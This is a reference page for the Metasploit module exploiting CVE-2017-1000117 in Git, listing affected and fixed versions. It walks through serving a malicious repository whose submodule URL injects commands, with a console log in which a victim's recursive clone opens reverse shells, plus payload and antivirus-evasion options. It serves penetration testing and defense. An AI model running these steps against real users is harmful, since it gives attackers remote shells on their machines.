Malicious Git HTTP Server For CVE-2017-1000117 - Metasploit


This page contains detailed information about how to use the exploit/multi/http/git_submodule_command_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Malicious Git HTTP Server For CVE-2017-1000117
Module: exploit/multi/http/git_submodule_command_exec
Source code: modules/exploits/multi/http/git_submodule_command_exec.rb
Disclosure date: 2017-08-10
Last modification time: 2021-08-09 11:49:29 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2017-1000117

This module exploits CVE-2017-1000117, which affects Git version 2.7.5 and lower. A submodule of the form 'ssh://' can be passed parameters from the username incorrectly. This can be used to inject commands to the operating system when the submodule is cloned. This module creates a fake git repository which contains a submodule containing the vulnerability. The vulnerability is triggered when the submodules are initialised.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


msf > use exploit/multi/http/git_submodule_command_exec
msf exploit(git_submodule_command_exec) > exploit

Knowledge Base


Vulnerable Application


Git can be installed on a variety of operating systems, however newer versions may contain the patch for this vulnerability.

On OSX it can be installed with the XCode command line tools: xcode-select --install

On Linux it can be installed with apt: sudo apt-get update && sudo apt-get install git

You can check the version with git --version. The fix is included in the following version: 2.7.6, 2.8.6, 2.9.5, 2.10.4, 2.11.3, 2.12.4, 2.13.5, 2.14.1

Verification Steps


Example steps in this format:

  1. Install the application
  2. Start msfconsole
  3. Do: use exploit/multi/http/git_submodule_command_exec
  4. Do: set SRVHOST [local host]
  5. Do: set LHOST [local host]
  6. Do: exploit
  7. Clone the malicious Git URI and its submodules
  8. You should get a shell

Options


GIT_URI

This is the URI the git repository will be hosted from (defaults to random).

GIT_SUBMODULE

This is the URI of the submodule within the git repository (defaults to random). The url of this submodule, when cloned, will execute the payload.

Scenarios


Example usage against a macOS Sierra x64 bit target running git version 2.10.1

msf > use exploit/multi/http/git_submodule_command_exec
msf exploit(git_submodule_command_exec) > set SRVHOST 192.168.0.1
SRVHOST => 192.168.0.1
msf exploit(git_submodule_command_exec) > set LHOST 192.168.0.1
LHOST => 192.168.0.1
msf exploit(git_submodule_command_exec) > exploit
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.0.1:4444
msf exploit(git_submodule_command_exec) > [*] Using URL: http://192.168.0.1:8080/D29MF1UC
[*] Server started.
[*] Malicious Git URI is http://192.168.0.1:8080/ldnwrixuqq.git
***
Victim executes: git clone http://192.168.0.1:8080/ldnwrixuqq.git --recurse-submodules
***
[*] Command shell session 1 opened (192.168.0.1:4444 -> 192.168.0.1:55151) at 2017-08-29 16:54:56 +0800
[*] Command shell session 2 opened (192.168.0.1:4444 -> 192.168.0.1:55152) at 2017-08-29 16:54:56 +0800

Go back to menu.

Msfconsole Usage


Here is how the multi/http/git_submodule_command_exec exploit module looks in the msfconsole:

msf6 > use exploit/multi/http/git_submodule_command_exec

[*] Using configured payload cmd/unix/reverse_python
msf6 exploit(multi/http/git_submodule_command_exec) > show info

       Name: Malicious Git HTTP Server For CVE-2017-1000117
     Module: exploit/multi/http/git_submodule_command_exec
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-08-10

Provided by:
  timwr

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name           Current Setting  Required  Description
  ----           ---------------  --------  -----------
  GIT_SUBMODULE                   no        The path to use as the malicious git submodule (empty for random)
  GIT_URI                         no        The URI to use as the malicious Git instance (empty for random)
  SRVHOST        0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT        8080             yes       The local port to listen on.
  SSL            false            no        Negotiate SSL for incoming connections
  SSLCert                         no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                         no        The URI to use for this exploit (default is random)

Payload information:

Description:
  This module exploits CVE-2017-1000117, which affects Git version 
  2.7.5 and lower. A submodule of the form 'ssh://' can be passed 
  parameters from the username incorrectly. This can be used to inject 
  commands to the operating system when the submodule is cloned. This 
  module creates a fake git repository which contains a submodule 
  containing the vulnerability. The vulnerability is triggered when 
  the submodules are initialised.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-1000117
  https://seclists.org/oss-sec/2017/q3/280

Module Options


This is a complete list of options available in the multi/http/git_submodule_command_exec exploit:

msf6 exploit(multi/http/git_submodule_command_exec) > show options

Module options (exploit/multi/http/git_submodule_command_exec):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   GIT_SUBMODULE                   no        The path to use as the malicious git submodule (empty for random)
   GIT_URI                         no        The URI to use as the malicious Git instance (empty for random)
   SRVHOST        0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT        8080             yes       The local port to listen on.
   SSL            false            no        Negotiate SSL for incoming connections
   SSLCert                         no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                         no        The URI to use for this exploit (default is random)

Payload options (cmd/unix/reverse_python):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
   SHELL  /bin/bash        yes       The system shell to use.

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the multi/http/git_submodule_command_exec exploit:

msf6 exploit(multi/http/git_submodule_command_exec) > show advanced

Module advanced options (exploit/multi/http/git_submodule_command_exec):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ListenerComm                             no        The specific communication channel to use for this service
   SSLCipher                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false            no        Enable SSL/TLS-level compression
   SendRobots              false            no        Return a robots.txt file if asked for one
   URIHOST                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                  no        Port to use in URI (useful for tunnels)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Payload advanced options (cmd/unix/reverse_python):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/http/git_submodule_command_exec module can exploit:

msf6 exploit(multi/http/git_submodule_command_exec) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/git_submodule_command_exec exploit:

msf6 exploit(multi/http/git_submodule_command_exec) > show payloads

Evasion Options


Here is the full list of possible evasion options supported by the multi/http/git_submodule_command_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/http/git_submodule_command_exec) > show evasion

Module evasion options:

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   HTTP::chunked         false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression     none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding  false            no        Enable folding of HTTP headers
   HTTP::junk_headers    false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache        false            no        Disallow the browser to cache HTTP content
   HTTP::server_name     Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size    0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay       0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

GIT_URI must start with a /


Here is a relevant code snippet related to the "GIT_URI must start with a /" error message:

74:	  end
75:	
76:	  def setup_git
77:	    # URI must start with a /
78:	    unless git_uri && git_uri =~ /^\//
79:	      fail_with(Failure::BadConfig, 'GIT_URI must start with a /')
80:	    end
81:	
82:	    payload_cmd = payload.encoded + " &"
83:	    payload_cmd = Rex::Text.to_hex(payload_cmd, '%')
84:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


timwr

Version


This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.